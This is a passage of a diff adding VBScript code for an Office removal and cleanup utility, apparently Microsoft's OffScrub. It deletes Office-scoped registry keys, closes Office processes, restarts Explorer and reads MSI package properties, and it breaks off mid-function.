+            RegDeleteKey HKLM,"SOFTWARE\Classes\Directory\Background\shellex\ContextMenuHandlers\XXX Groove GFS Context Menu Handler XXX\"
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\Groove Explorer Icon Overlay 1 (GFS Unread Stub)\"
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\Groove Explorer Icon Overlay 2 (GFS Stub)\"
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\Groove Explorer Icon Overlay 2.5 (GFS Unread Folder)\"
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\Groove Explorer Icon Overlay 3 (GFS Folder)\"
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\Groove Explorer Icon Overlay 4 (GFS Unread Mark)\"
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{{72853161-30C5-4D22-B7F9-0BBC1D38A37E}\"
+
+        Case 15
+
+        Case Else
+        End Select
+
+        'Win32Assemblies
+        Log " - Win32Assemblies"
+        If RegEnumKey(HKCR,"Installer\Win32Assemblies\",arrKeys) Then
+            For Each Item in arrKeys
+                If InStr(UCase(Item),OREF)>0 Then RegDeleteKey HKCR,"Installer\Win32Assemblies\"&Item & "\"
+            Next 'Item
+        End If 'RegEnumKey
+        'Groove blocks reinstall if it locates groove.exe over this key
+        If RegKeyExists(HKCR,"GrooveFile\Shell\Open\Command\") Then
+            sValue = ""
+            RegReadValue HKCR,"GrooveFile\Shell\Open\Command\","",sValue,"REG_SZ"
+            If InStr(sValue,"\"&OREF&"\")>0 Then RegDeleteKey HKCR,"GrooveFile\"
+        End If 'RegKeyExists
+    End If 'fRemoveAll
+
+    Select Case OVERSIONMAJOR
+    Case "11"
+        For iLoopCnt = 1 to 3
+            Select Case iLoopCnt
+            Case 1
+                'CIW - HKCU
+                sSubKeyName = "Software\Microsoft\OfficeCustomizeWizard\" & OVERSION & "\RegKeyPaths\"
+                hDefKey = HKCU
+            Case 2
+                'CIW - HKLM
+                sSubKeyName = "SOFTWARE\Microsoft\OfficeCustomizeWizard\" & OVERSION & "\RegKeyPaths\"
+                hDefKey = HKLM
+            Case 3
+                'Add/Remove Programs
+                sSubKeyName = REG_ARP
+                hDefKey = HKLM
+            End Select
+
+            If RegEnumKey(hDefKey,sSubKeyName,arrKeys) Then
+                For Each Item in arrKeys
+                    'OFFICEID id
+                    If Len(Item)>37 Then
+                        sGuid = UCase(Left(Item,38))
+                        If Right(sGuid,PRODLEN)=OFFICEID Then
+                            If CheckDelete(sGuid) Then
+                                RegDeleteKey hDefKey, sSubKeyName & Item & "\"
+                            End If
+                        End If 'Right(Item,PRODLEN)=OFFICEID
+                    End If 'Len(Item)>37
+                Next 'Item
+                If iLoopCnt < 3 Then
+                    If RegEnumValues(hDefKey,sSubKeyName,arrNames,arrTypes) Then
+                        i = 0
+                        For Each Name in arrNames
+                            If RegReadValue(hDefKey,sSubKeyName,Name,sValue,arrTypes(i)) Then
+                                If sValue = sGuid Then RegDeleteValue hDefKey,sSubKeyName,Name, False
+                            End If
+                            i = i + 1
+                        Next
+                    End If
+                End If
+            End If
+            If NOT RegEnumKey(hDefKey,sSubKeyName,arrKeys) Then RegDeleteKey hDefKey,"Software\Microsoft\OfficeCustomizeWizard\11.0\"
+            If NOT RegEnumKey(hDefKey,"Software\Microsoft\OfficeCustomizeWizard\11.0\",arrKeys) Then RegDeleteKey hDefKey,"Software\Microsoft\OfficeCustomizeWizard\"
+        Next 'iLoopCnt
+    Case "12"
+        'Add/Remove Programs
+        RegWipeARP
+    Case "14"
+        'Add/Remove Programs
+        RegWipeARP
+    Case Else
+    End Select
+
+    'UpgradeCodes, WI config, WI global config
+    For iLoopCnt = 1 to 5
+        Select Case iLoopCnt
+        Case 1
+            Log " - HKLM UpgradeCodes"
+            sSubKeyName = "SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UpgradeCodes\"
+            hDefKey = HKLM
+        Case 2
+            Log " - HKCR UpgradeCodes"
+            sSubKeyName = "Installer\UpgradeCodes\"
+            hDefKey = HKCR
+        Case 3
+            Log " - HKLM Products"
+            sSubKeyName = "SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\"
+            hDefKey = HKLM
+        Case 4
+            Log " - HKCR Features"
+            sSubKeyName = "Installer\Features\"
+            hDefKey = HKCR
+        Case 5
+            Log " - HKCR Products"
+            sSubKeyName = "Installer\Products\"
+            hDefKey = HKCR
+        Case Else
+            sSubKeyName = ""
+            hDefKey = ""
+        End Select
+        If RegEnumKey(hDefKey,sSubKeyName,arrKeys) Then
+            For Each Item in arrKeys
+                'Ensure we have the expected length for a compressed GUID
+                If Len(Item)=32 Then
+                    'Expand the GUID
+                    sGuid = GetExpandedGuid(Item)
+                    'Check if it's an Office key
+                    If CheckDeleteEx (sGuid) Then
+                        RegDeleteKey hDefKey,sSubKeyName & Item & "\"
+                    Else
+                        If iLoopCnt < 3 Then
+                            'Enum all entries
+                            RegEnumValues hDefKey,sSubKeyName & Item,arrNames,arrTypes
+                            If IsArray(arrNames) Then
+                                'Delete entries within removal scope
+                                For Each Name in arrNames
+                                    If Len(Name)=32 Then
+                                        sGuid = GetExpandedGuid(Name)
+                                        If CheckDelete(sGuid) Then RegDeleteValue hDefKey, sSubKeyName & Item & "\", Name, True
+                                    Else
+                                        'Invalid data -> delete the value
+                                        RegDeleteValue hDefKey, sSubKeyName & Item & "\", Name, True
+                                    End If
+                                Next 'Name
+                            End If 'IsArray(arrNames)
+                            'If all entries were removed - delete the key
+                            RegEnumValues hDefKey,sSubKeyName & Item,arrNames,arrTypes
+                            If Not IsArray(arrNames) Then RegDeleteKey hDefKey, sSubKeyName & Item & "\"
+                        Else 'iLoopCnt >= 3
+                            If CheckDelete(sGuid) Then RegDeleteKey hDefKey, sSubKeyName & Item & "\"
+                        End If 'iLoopCnt < 3
+                    End If 'fRemoveAll
+                End If 'Len(Item)=32
+            Next 'Item
+        End If 'RegEnumKey
+    Next 'iLoopCnt
+
+    'Components
+    Log " - Global Components"
+    sSubKeyName = "SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\"
+    If RegEnumKey(HKLM,sSubKeyName,arrKeys) Then
+        For Each Item in arrKeys
+            'Ensure we have the expected length for a compressed GUID
+            If Len(Item)=32 Then
+                If RegEnumValues(HKLM,sSubKeyName & Item,arrNames,arrTypes) Then
+                    If IsArray(arrNames) Then
+                        For Each Name in arrNames
+                            If Len(Name)=32 Then
+                                sGuid = GetExpandedGuid(Name)
+                                If CheckDelete(sGuid) Then
+                                    RegDeleteValue HKLM, sSubKeyName & Item & "\", Name, False
+                                    'Check if the key is now empty
+                                    If NOT RegEnumValues(HKLM,sSubKeyName & Item,arrTestNames,arrTestTypes) Then
+                                        If NOT dicDelRegKey.Exists(sSubKeyName&Item&"\") Then dicDelRegKey.Add sSubKeyName&Item&"\",HKCR
+                                    End If
+                                End If
+                            End If '32
+                        Next 'Name
+                    End If 'IsArray
+                End If 'RegEnumValues
+            End If '32
+        Next 'Item
+    End If 'RegEnumKey
+
+    'Published Components
+    Log " - Published Components"
+    sSubKeyName = "Installer\Components\"
+    If RegEnumKey(HKCR,sSubKeyName,arrKeys) Then
+        For Each Item in arrKeys
+            'Ensure we have the expected length for a compressed GUID
+            If Len(Item)=32 Then
+                If RegEnumValues(HKCR,sSubKeyName & Item,arrNames,arrTypes) Then
+                    If IsArray(arrNames) Then
+                        For Each Name in arrNames
+                            If RegReadValue (HKCR,sSubKeyName & Item, Name, sValue,"REG_MULTI_SZ") Then
+                                arrMultiSzValues = Split(sValue,chr(34))
+                                If IsArray(arrMultiSzValues) Then
+                                    i = -1
+                                    ReDim arrMultiSzNewValues(-1)
+                                    fDelReg = False
+                                    For Each value in arrMultiSzValues
+                                        If Len(value) > 19 Then
+                                            sGuid = ""
+                                            If GetDecodedGuid(Left(value,SQUISHED),sGuid) Then
+                                                If CheckDelete(sGuid) Then
+                                                    fDelReg = True
+                                                Else
+                                                    i = i + 1
+                                                    ReDim Preserve arrMultiSzNewValues(i)
+                                                    arrMultiSzNewValues(i) = value
+                                                End If 'CheckDelete
+                                            End If 'decode
+                                        End If '19
+                                    Next 'Value
+                                    If NOT (i = -1) Then
+                                        If NOT fDetectOnly Then
+                                            If NOT UBound(arrMultiSzValues) = i Then oReg.SetMultiStringValue HKCR,sSubKeyName & Item,Name,arrMultiSzNewValues
+                                        End If
+                                    Else
+                                        If fDelReg Then
+                                            RegDeleteValue HKCR,sSubKeyName & Item & "\", Name, False
+                                            'Check if the key is now empty
+                                            If NOT RegEnumValues(HKCR,sSubKeyName & Item,arrTestNames,arrTestTypes) Then
+                                                If NOT dicDelRegKey.Exists(sSubKeyName&Item&"\") Then dicDelRegKey.Add sSubKeyName&Item&"\",HKCR
+                                            End If
+                                        End If 'DelReg
+                                    End If
+                                End If 'IsArray
+                            End If
+                        Next 'Name
+                    End If 'IsArray
+                End If 'RegEnumValues
+            End If '32
+        Next 'Item
+    End If 'RegEnumKey
+
+    'Delivery
+    Log " - Delivery"
+    hDefKey = HKLM
+    sSubKeyName = "SOFTWARE\Microsoft\Office\Delivery\SourceEngine\Downloads\"
+    If RegEnumKey(HKLM,sSubKeyName,arrKeys) Then
+        For Each Item in arrKeys
+            If Len(Item) > 37 Then
+                If fRemoveAll Then
+                    If (Mid(Item,27,PRODLEN)=OFFICEID AND Mid(Item,4,2)=OVERSIONMAJOR) OR _
+                       LCase(Right(Item,7))=OVERSIONMAJOR&".data" Then RegDeleteKey HKLM,sSubKeyName & Item & "\"
+                Else
+                    If (Mid(Item,27,PRODLEN)=OFFICEID AND Mid(Item,4,2)=OVERSIONMAJOR) AND _
+                       CheckDelete(UCase(Left(Item,38))) Then RegDeleteKey HKLM,sSubKeyName & Item & "\"
+                End If
+            End If '37
+        Next 'Item
+    End If 'RegEnumKey
+
+    'Registration
+    Log " - HKLM Registration"
+    hDefKey = HKLM
+    sSubKeyName = "SOFTWARE\Microsoft\Office\"&OVERSION&"\Registration\"
+    If RegEnumKey(HKLM,sSubKeyName,arrKeys) Then
+        For Each Item in arrKeys
+            If Len(Item)>37 Then
+                If CheckDelete(UCase(Left(Item,38))) Then RegDeleteKey HKLM,sSubKeyName & Item & "\"
+            End If
+        Next 'Item
+    End If 'RegEnumKey
+
+    'User Preconfigurations
+    Log " - HKLM User Preconfigurations"
+    hDefKey = HKLM
+    sSubKeyName = "SOFTWARE\Microsoft\Office\"&OVERSION&"\User Settings\"
+    If RegEnumKey(HKLM,sSubKeyName,arrKeys) Then
+        For Each Item in arrKeys
+            If Len(Item)>37 Then
+                If CheckDelete(UCase(Left(Item,38))) Then RegDeleteKey HKLM,sSubKeyName & Item & "\"
+            End If
+        Next 'Item
+    End If 'RegEnumKey
+
+    'Known Keypath settings
+    Log " - Detcted KeyPath settings"
+    For Each key in dicDelRegKey.Keys
+        If Right(key,1) = "\" Then
+            RegDeleteKey dicDelRegKey.Item(key),key
+        Else
+            iPos = InStrRev(Key,"\")
+            If iPos > 0 Then RegDeleteValue dicDelRegKey.Item(key), Left(key,iPos - 1), Mid(key,iPos+1), False
+        End If
+    Next
+
+    'Temporary entries in ARP
+    TmpKeyCleanUp
+End Sub 'RegWipe
+'=======================================================================================================
+
+'Clean up Add/Remove Programs registry
+Sub RegWipeARP
+
+    Dim Item, Name, Sku, key
+    Dim sSubKeyName, sCurKey, sValue, sGuid
+    Dim fkeep, fSystemComponent0, fPackages, fDisplayVersion
+    Dim arrKeys
+
+    'Add/Remove Programs
+    sSubKeyName = REG_ARP
+    If RegEnumKey(HKLM,sSubKeyName,arrKeys) Then
+        For Each Item in arrKeys
+            '*0FF1CE*
+            If Len(Item)>37 Then
+                sGuid = UCase(Left(Item,38))
+                If CheckDeleteEx(sGuid) Then RegDeleteKey HKLM, sSubKeyName & Item
+            End If 'Len(Item)>37
+
+            'Config entries
+            sCurKey = sSubKeyName & Item & "\"
+            fSystemComponent0 = Not (RegReadValue(HKLM,sCurKey,"SystemComponent",sValue,"REG_DWORD") AND (sValue = "1"))
+            fPackages = RegReadValue(HKLM,sCurKey,OPACKAGE,sValue,"REG_MULTI_SZ")
+            fDisplayVersion = RegReadValue(HKLM,sCurKey,"DisplayVersion",sValue,"REG_SZ")
+            If fDisplayVersion AND Len(sValue) > 1 Then
+                fDisplayVersion = (Left(sValue,2) = OVERSIONMAJOR)
+            End If
+            If (fSystemComponent0 AND fPackages AND fDisplayVersion) Then
+                fKeep = False
+                If Not fRemoveAll Then
+                    For Each Sku in dictionaryKeepSku.Keys
+                        If UCase(Item) = OREGREF & Sku Then
+                            fkeep = True
+                            Exit For
+                        End If
+                    Next 'Sku
+                End If
+                If Not fkeep Then RegDeleteKey HKLM, sSubKeyName & Item
+            End If
+        Next 'Item
+    End If 'RegEnumKey
+
+End Sub 'RegWipeARP
+'=======================================================================================================
+
+'Clean up temporary registry keys
+Sub TmpKeyCleanUp
+    Dim TmpKey
+
+    If fLogInitialized Then Log " - temporary OffScrub registry entries"
+    If IsArray(arrTmpSKUs) Then
+        For Each TmpKey in arrTmpSKUs
+            oReg.DeleteKey HKLM, REG_ARP & TmpKey
+        Next 'Item
+    End If 'IsArray
+End Sub 'TmpKeyCleanUp
+
+'=======================================================================================================
+' Helper Functions
+'=======================================================================================================
+
+'Create a log with the results of the SKU detection
+Sub LogSkuResults
+    Dim SkuLog, SkuKey , p
+
+    On Error Resume Next 'Don't fail on logging
+
+    Set SkuLog = oFso.OpenTextFile(sScrubDir & "\SkuLog.txt",FOR_WRITING,True,True)
+
+    SkuLog.WriteLine "Installed SKUs (All):"
+    SkuLog.WriteLine "====================="
+    For Each SkuKey in dicInstalledSku.Keys
+        SkuLog.WriteLine " - " & SkuKey
+    Next 'Key
+
+    SkuLog.WriteLine vbCrLf & "Server SKUs:"
+    SkuLog.WriteLine          "============"
+    For Each SkuKey in dicSrv.Keys
+        SkuLog.WriteLine " - " & SkuKey
+    Next 'Key
+
+    SkuLog.WriteLine vbCrLf & "Client Suite SKUs:"
+    SkuLog.WriteLine          "=================="
+    For Each SkuKey in dicCSuite.Keys
+        SkuLog.WriteLine " - " & SkuKey
+    Next 'Key
+
+    SkuLog.WriteLine vbCrLf & "Client Standalone SKUs:"
+    SkuLog.WriteLine          "======================="
+    For Each SkuKey in dicCSingle.Keys
+        SkuLog.WriteLine " - " & SkuKey
+    Next 'Key
+
+    SkuLog.WriteLine vbCrLf & "Installed Products (All):"
+    SkuLog.WriteLine          "========================="
+    For Each p in oMsi.Products
+        If InScope(p) Then
+            SkuLog.Write " - " & p & " - "
+            SkuLog.Write oMsi.ProductInfo(p, "ProductName")
+            SkuLog.WriteLine " "
+        End If
+    Next 'Product
+
+    SkuLog.WriteLine vbCrLf & "***************************************************************************************************" & vbCrLf
+
+    SkuLog.WriteLine vbCrLf & "SKUs to keep:"
+    SkuLog.WriteLine          "============="
+    For Each SkuKey in dictionaryKeepSku.Keys
+        SkuLog.WriteLine " - " & SkuKey
+    Next 'Key
+
+    SkuLog.WriteLine vbCrLf & "Products to keep:"
+    SkuLog.WriteLine          "================="
+    For Each p in dictionaryKeepProd.Keys
+        SkuLog.Write " - " & p & " - "
+        SkuLog.Write oMsi.ProductInfo(p, "ProductName")
+        SkuLog.WriteLine " "
+    Next 'Key
+
+    SkuLog.WriteLine vbCrLf & "***************************************************************************************************" & vbCrLf
+
+    SkuLog.WriteLine vbCrLf & "SKUs to remove:"
+    SkuLog.WriteLine          "==============="
+    For Each SkuKey in dicRemoveSku.Keys
+        SkuLog.WriteLine " - " & SkuKey
+    Next 'Key
+
+    SkuLog.WriteLine vbCrLf & "Products to remove:"
+    SkuLog.WriteLine          "==================="
+    For Each p in oMsi.Products
+        If CheckDeleteEx(p) Then
+            SkuLog.Write " - " & p & " - "
+            SkuLog.Write oMsi.ProductInfo(p, "ProductName")
+            SkuLog.WriteLine " "
+        End If 'InScope
+    Next 'Product
+
+    SkuLog.Close
+    Set SkuLog = Nothing
+
+End Sub 'LogSkuResults
+'=======================================================================================================
+
+'End all running instances of applications that will be removed
+Sub CloseOfficeApps
+    Dim Processes, Process, prop
+    Dim fWait
+    Dim iRet
+
+    On Error Resume Next
+
+    fWait = False
+    Log " Doing Action: CloseOfficeApps"
+
+    Set Processes = oWmiLocal.ExecQuery("Select * From Win32_Process")
+    For Each Process in Processes
+        If dicApps.Exists(LCase(Process.Name)) Then
+            Log " - End process " & Process.Name
+            iRet = Process.Terminate()
+            CheckError "CloseOfficeApps: " & "Process.Name"
+        Else
+            For Each prop in Process.Properties_
+                If prop.Name = "ExecutablePath" Then
+                    If InStr(UCase(prop.Value), UCase(sOInstallRoot)) > 0 Then
+                        Log " - End process '" & Process.Name
+                        iRet = Process.Terminate()
+                        CheckError "CloseOfficeApps: " & "Process.Name"
+                        fWait = True
+                    End If
+                End If 'ExcecutablePath
+            Next 'prop
+        End If
+    Next 'Process
+    If fWait Then
+        wscript.sleep 10000
+    End If
+    LogOnly " End Action: CloseOfficeApps"
+End Sub 'CloseOfficeApps
+'=======================================================================================================
+
+'Ensure Windows Explorer is restarted if needed
+Sub RestoreExplorer
+    Dim Processes, Result, oAT, DateTime, JobID
+    Dim sCmd
+
+    'Non critical routine. Don't fail on error
+    On Error Resume Next
+    wscript.sleep 1000
+    Set Processes = oWmiLocal.ExecQuery("Select * From Win32_Process Where Name='explorer.exe'")
+    If Processes.Count < 1 Then
+        oWShell.Run "explorer.exe"
+        'To handle this in case of System context, schedule and run as interactive task
+        If iVersionNT > 502 Then
+            'Vista and later
+            oWShell.Run "SCHTASKS /Create /TN OffScrEx /TR explorer /SC ONCE /ST 12:00 /IT",0,True
+            oWShell.Run "SCHTASKS /Run /TN OffScrEx", 0, True
+            oWShell.Run "SCHTASKS /Delete /TN OffScrEx /F", 0, False
+        Else
+            Set oAT = oWmiLocal.Get("Win32_ScheduledJob")
+            Set DateTime = CreateObject("WbemScripting.SWbemDateTime")
+            DateTime.SetVarDate DateAdd("n",1,Now),True
+            Result = oAT.Create("explorer.exe", DateTime.Value, , , , True, JobID)
+        End If 'iVersionNT
+    End If
+End Sub 'RestoreExploer
+'=======================================================================================================
+
+'Returns the delimiter for a passed in string
+Function Delimiter (sVersion)
+
+    Dim iCnt, iAsc
+
+    Delimiter = " "
+    For iCnt = 1 To Len(sVersion)
+        iAsc = Asc(Mid(sVersion, iCnt, 1))
+        If Not (iASC >= 48 And iASC <= 57) Then
+            Delimiter = Mid(sVersion, iCnt, 1)
+            Exit Function
+        End If
+    Next 'iCnt
+End Function
+'=======================================================================================================
+
+'Check registry access permissions. Failure will terminate the script
+Function CheckRegPermissions
+    Const KEY_QUERY_VALUE       = &H0001
+    Const KEY_SET_VALUE         = &H0002
+    Const KEY_CREATE_SUB_KEY    = &H0004
+    Const DELETE                = &H00010000
+
+    Dim sSubKeyName
+    Dim fReturn
+
+    CheckRegPermissions = True
+    sSubKeyName = "Software\Microsoft\Windows\"
+    oReg.CheckAccess HKLM, sSubKeyName, KEY_QUERY_VALUE, fReturn
+    If Not fReturn Then CheckRegPermissions = False
+    oReg.CheckAccess HKLM, sSubKeyName, KEY_SET_VALUE, fReturn
+    If Not fReturn Then CheckRegPermissions = False
+    oReg.CheckAccess HKLM, sSubKeyName, KEY_CREATE_SUB_KEY, fReturn
+    If Not fReturn Then CheckRegPermissions = False
+    oReg.CheckAccess HKLM, sSubKeyName, DELETE, fReturn
+    If Not fReturn Then CheckRegPermissions = False
+
+End Function 'CheckRegPermissions
+'=======================================================================================================
+
+'Check if a product will be removed
+Function CheckDeleteEx (sProductCode)
+
+    CheckDeleteEx = False
+    If CheckDelete (sProductCode) Then
+        CheckDeleteEx = True
+        Exit Function
+    End If
+    If (fRemoveAll AND NOT fC2rInstalled) OR (fRemoveAll AND fForce) Then
+        CheckDeleteEx = InScope(sProductCode) AND NOT dictionaryKeepProd.Exists(UCase(sProductCode))
+    End If
+End Function 'CheckDelete
+'=======================================================================================================
+
+'Check if an Office product is still registered with a SKU that stays on the computer
+Function CheckDelete (sProductCode)
+
+    'Ensure valid GUID length
+    If NOT Len(sProductCode) = 38 Then
+        CheckDelete = False
+        Exit Function
+    End If
+
+    'If it's a non Office ProductCode exit with false right away
+    CheckDelete = InScope(sProductCode)
+    If Not CheckDelete Then Exit Function
+    If dictionaryKeepProd.Exists(UCase(sProductCode)) Then CheckDelete = False
+
+End Function 'CheckDelete
+'=======================================================================================================
+
+'Check if ProductCode is in scope
+Function InScope(sProductCode)
+
+    Dim fInScope
+    Dim sProd
+
+    fInScope = False
+    If Len(sProductCode) = 38 Then
+        sProd = UCase(sProductCode)
+        Select Case OVERSIONMAJOR
+        Case "11"
+            If Right(sProd,PRODLEN)=OFFICEID Then fInScope = True
+        Case "12"
+            If Right(sProd,PRODLEN)=OFFICEID AND Mid(sProd,4,2) = OVERSIONMAJOR Then fInScope = True
+        Case "14"
+            If Right(sProd,PRODLEN)=OFFICEID AND Mid(sProd,4,2) = OVERSIONMAJOR Then fInScope = True
+        Case "15"
+            If Right(sProd,PRODLEN)=OFFICEID AND Mid(sProd,4,2) = OVERSIONMAJOR Then
+                Select Case Mid(sProd, 11, 4)
+                Case "007E", "008F", "008C", "24E1", "237A"
+                    ' C2R products - keep them
+                Case Else
+                    fInScope = True
+                End Select
+            End If
+        Case Else
+        End Select
+    End If '38
+
+    InScope = fInScope
+End Function 'InScope
+'=======================================================================================================
+
+'Register an orphaned .msi product as installed for MSI
+Sub MsiRegisterProduct (sMsiFile)
+
+    Dim sDisplayVersion, sCurKey, sDisplayName, sLang, sProductCode, sTmpKey
+    Dim iCnt
+
+    'Create a temporary keys to simulate an installed product
+    sProductCode = ""
+    sProductCode = GetMsiProductCode(sMsiFile)
+    sDisplayVersion = GetMsiProductVersion(sMsiFile)
+    If sDisplayVersion = "" Then sDisplayVersion = OVERSION & ".0000.0000"
+    sDisplayName = GetMsiProductName(sMsiFile)
+    If sDisplayName = "" Then sDisplayName = sProductCode
+    Select Case OVERSIONMAJOR
+    Case "9","10","11"
+        sLang = CInt("&h" & Mid(sProductCode,6,4))
+    Case "12","14"
+        sLang = CInt("&h" & Mid(sProductCode,16,4))
+    Case Else
+    End Select
+
+    For iCnt = 1 To 3
+        Select Case iCnt
+        Case 1
+            sCurKey = REG_ARP & sProductCode
+            oReg.CreateKey HKLM,sCurKey
+        Case 2
+            sCurKey = "SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\" & GetCompressedGuid(sProductCode)
+            oReg.CreateKey HKLM,sCurKey
+            oReg.CreateKey HKLM,sCurKey & "\Features"
+            oReg.CreateKey HKLM,sCurKey & "\InstallProperties"
+            oReg.CreateKey HKLM,sCurKey & "\Patches"
+            oReg.CreateKey HKLM,sCurKey & "\Usage"
+            sCurKey = sCurKey & "\InstallProperties"
+            oReg.SetStringValue HKLM,sCurKey,"LocalPackage",sMsiFile
+        Case 3
+            sCurKey = "Installer\Products\" & GetCompressedGuid(sProductCode)
+            sTmpKey = sCurKey
+            oReg.CreateKey HKCR,sCurKey
+            oReg.SetDWordValue HKCR,sCurKey,"AdvertiseFlags",388
+            oReg.SetDWordValue HKCR,sCurKey,"Assignment",1
+            oReg.SetDWordValue HKCR,sCurKey,"AuthorizedLUAApp",0
+            oReg.SetStringValue HKCR,sCurKey,"Clients",":"
+            oReg.SetDWordValue HKCR,sCurKey,"DeploymentFlags",3
+            oReg.SetDWordValue HKCR,sCurKey,"InstanceType",0
+            oReg.SetDWordValue HKCR,sCurKey,"Language",sLang
+            oReg.SetStringValue HKCR,sCurKey,"PackageCode",GetMsiPackageCode(sMsiFile)
+            oReg.SetStringValue HKCR,sCurKey,"ProductName",sDisplayName
+            oReg.SetDWordValue HKCR,sCurKey,"VersionMinor",0
+            sCurKey = sTmpKey & "\SourceList"
+            oReg.CreateKey HKCR,sCurKey
+            oReg.SetExpandedStringValue HKCR,sCurKey,"LastUsedSource",sScrubDir
+            oReg.SetStringValue HKCR,sCurKey,"PackageName",Mid(sMsiFile,InstrRev(sMsiFile,"\")+1)
+            sCurKey = sTmpKey & "\SourceList\Media"
+            oReg.CreateKey HKCR,sCurKey
+            oReg.SetStringValue HKCR,sCurKey,"1",OREF & ";1"
+            oReg.SetStringValue HKCR,sCurKey,"DiskPrompt",sDisplayName
+            sCurKey = sTmpKey & "\SourceList\Net"
+            oReg.CreateKey HKCR,sCurKey
+            oReg.SetExpandedStringValue HKCR,sCurKey,"1",sScrubDir
+
+        Case Else
+        End Select
+        If iCnt <3 Then
+            oReg.SetStringValue HKLM,sCurKey,"Comments",""
+            oReg.SetStringValue HKLM,sCurKey,"Contact",""
+            oReg.SetStringValue HKLM,sCurKey,"DisplayName",sDisplayName
+            oReg.SetStringValue HKLM,sCurKey,"DisplayVersion",sDisplayVersion
+            oReg.SetDWordValue HKLM,sCurKey,"EstimatedSize",0
+            oReg.SetStringValue HKLM,sCurKey,"HelpLink",""
+            oReg.SetStringValue HKLM,sCurKey,"HelpTelephone",""
+            oReg.SetStringValue HKLM,sCurKey,"InstallDate","20100101"
+            If f64 Then
+                oReg.SetStringValue HKLM,sCurKey,"InstallLocation",sProgramFilesX86
+            Else
+                oReg.SetStringValue HKLM,sCurKey,"InstallLocation",sProgramFiles
+            End If
+            oReg.SetStringValue HKLM,sCurKey,"InstallSource",sScrubDir
+            oReg.SetDWordValue HKLM,sCurKey,"Language",sLang
+            oReg.SetExpandedStringValue HKLM,sCurKey,"ModifyPath","MsiExec.exe /X" & sProductCode
+            oReg.SetDWordValue HKLM,sCurKey,"NoModify",1
+            oReg.SetStringValue HKLM,sCurKey,"Publisher","Microsoft Corporation"
+            oReg.SetStringValue HKLM,sCurKey,"Readme",""
+            oReg.SetStringValue HKLM,sCurKey,"Size",""
+            oReg.SetDWordValue HKLM,sCurKey,"SystemComponent",0
+            oReg.SetExpandedStringValue HKLM,sCurKey,"UninstallString","MsiExec.exe /X" & sProductCode
+            oReg.SetStringValue HKLM,sCurKey,"URLInfoAbout",""
+            oReg.SetStringValue HKLM,sCurKey,"URLUpdateInfo",""
+            oReg.SetDWordValue HKLM,sCurKey,"Version",0
+            oReg.SetDWordValue HKLM,sCurKey,"VersionMajor",OVERSIONMAJOR
+            oReg.SetDWordValue HKLM,sCurKey,"VersionMinor",0
+            oReg.SetDWordValue HKLM,sCurKey,"WindowsInstaller",1
+        End If '< 3
+    Next 'iCnt
+
+End Sub 'MsiRegisterProduct
+'=======================================================================================================
+
+'Obtain the ProductCode (GUID) from a .msi package
+'The function will open the .msi database and query the 'Property' table to retrieve the ProductCode
+Function GetMsiProductCode(sMsiFile)
+
+    Dim MsiDb,Record
+    Dim qView
+
+    On Error Resume Next
+
+    GetMsiProductCode = ""
+    Set Record = Nothing
+
+    Set MsiDb = oMsi.OpenDatabase(sMsiFile,MSIOPENDATABASEREADONLY)
+    Set qView = MsiDb.OpenView("SELECT `Value` FROM Property WHERE `Property` = 'ProductCode'")
+    qView.Execute
+    Set Record = qView.Fetch
+    GetMsiProductCode = Record.StringData(1)
+    qView.Close
+
+End Function 'GetMsiProductCode
+'=======================================================================================================
+
+'Obtain the ProductVersion from a .msi package
+'The function will open the .msi database and query the 'Property' table to retrieve the ProductCode
+Function GetMsiProductVersion(sMsiFile)
+
+    Dim MsiDb,Record
+    Dim qView
+
+    On Error Resume Next
+
+    GetMsiProductVersion = ""
+    Set Record = Nothing
+
+    Set MsiDb = oMsi.OpenDatabase(sMsiFile,MSIOPENDATABASEREADONLY)
+    Set qView = MsiDb.OpenView("SELECT `Value` FROM Property WHERE `Property` = 'ProductVersion'")
+    qView.Execute
+    Set Record = qView.Fetch
+    GetMsiProductVersion = Record.StringData(1)
+    qView.Close
+
+End Function 'GetMsiProductVersion
+'=======================================================================================================
+
+'Obtain the ProductVersion from a .msi package
+'The function will open the .msi database and query the 'Property' table to retrieve the ProductCode
+Function GetMsiProductName(sMsiFile)
+
+    Dim MsiDb,Record
+    Dim qView
+
+    On Error Resume Next
+
+    GetMsiProductName = ""
+    Set Record = Nothing
+
+    Set MsiDb = oMsi.OpenDatabase(sMsiFile,MSIOPENDATABASEREADONLY)
+    Set qView = MsiDb.OpenView("SELECT `Value` FROM Property WHERE `Property` = 'ProductName'")
+    qView.Execute
+    Set Record = qView.Fetch
+    GetMsiProductName = Record.StringData(1)
+    qView.Close
+
+End Function 'GetMsiProductVersion
+'=======================================================================================================
+
+'Obtain the PackageCode (GUID) from a .msi package
+'The function will the .msi'S SummaryInformation stream
+Function GetMsiPackageCode(sMsiFile)
+
+    On Error Resume Next
+
+    Const PID_REVNUMBER = 9
+
+    GetMsiPackageCode = ""
+    GetMsiPackageCode = GetCompressedGuid(oMsi.SummaryInformation(sMsiFile,MSIOPENDATABASEREADONLY).Property(PID_REVNUMBER))
+
+End Function 'GetMsiPackageCode
+'=======================================================================================================
+
+'Returns a string with a list of ProductCodes from the summary information stream
+Function MspTargets (sMspFile)
+    Const MSIOPENDATABASEMODE_PATCHFILE = 32
+    Const PID_TEMPLATE                  =  7
+
+    Dim Msp
+    'Non critical routine. Don't fail on error
+    On Error Resume Next
+    MspTargets = ""
+    If oFso.FileExists(sMspFile) Then
+        Set Msp = Msi.OpenDatabase(WScript.Arguments(0),MSIOPENDATABASEMODE_PATCHFILE)
